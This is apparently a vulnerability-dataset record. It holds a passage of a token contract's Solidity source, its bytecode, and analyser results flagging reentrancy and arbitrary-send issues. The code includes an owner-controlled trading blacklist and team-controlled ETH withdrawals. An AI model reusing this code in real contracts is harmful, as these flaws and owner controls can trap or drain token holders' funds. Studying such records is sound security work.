true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 16); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612edd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a00565b61045e565b6040516101789190612ec2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061307f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b1565b61048d565b6040516101e09190612ec2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612923565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7d565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612923565b610783565b6040516102b1919061307f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df4565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612edd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a00565b61098d565b60405161035b9190612ec2565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3c565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612acf565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612975565b61121a565b604051610418919061307f565b60405180910390f35b60606040518060400160405280600981526020017f4e69676874446f67650000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fbf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fbf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4e69676874446f67650000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fbf565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613395565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fbf565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c519061303f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294c565b6040518363ffffffff1660e01b8152600401610e1f929190612e0f565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e61565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e38565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa6565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fbf565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f7f565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113109061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611467919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612fff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612eff565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fdf565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359061305f565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612edd565b60405180910390fd5b5060008385611c8a9190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f1f565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294c565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309a565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323c565b905082848261212a919061320b565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612f9f565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612edd565b60405180910390fd5b506000838561226d919061320b565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125f9565b61240684836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612463919061307f565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125068a60085460106126f0565b92509250925060006125166121ec565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f5f565b60405180910390fd5b8091505092915050565b60006126036121ec565b9050600061261a82846120fa90919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127466064612738888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120fa90919063ffffffff16565b905060006127b686896120fa90919063ffffffff16565b905060006127cd87896120fa90919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62602a836131a4565b9150612c6d826134cb565b604082019050919050565b6000612c856022836131a4565b9150612c908261351a565b604082019050919050565b6000612ca8601b836131a4565b9150612cb382613569565b602082019050919050565b6000612ccb601d836131a4565b9150612cd682613592565b602082019050919050565b6000612cee6021836131a4565b9150612cf9826135bb565b604082019050919050565b6000612d116020836131a4565b9150612d1c8261360a565b602082019050919050565b6000612d346029836131a4565b9150612d3f82613633565b604082019050919050565b6000612d576025836131a4565b9150612d6282613682565b604082019050919050565b6000612d7a6024836131a4565b9150612d85826136d1565b604082019050919050565b6000612d9d6017836131a4565b9150612da882613720565b602082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220404a1ae6804af24646b1c128716502ea8e94f8176d6647ba7c623dc8bb289a9164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,188
0x6e08cb24153634655d4e0cb52afee75a0e798ac8
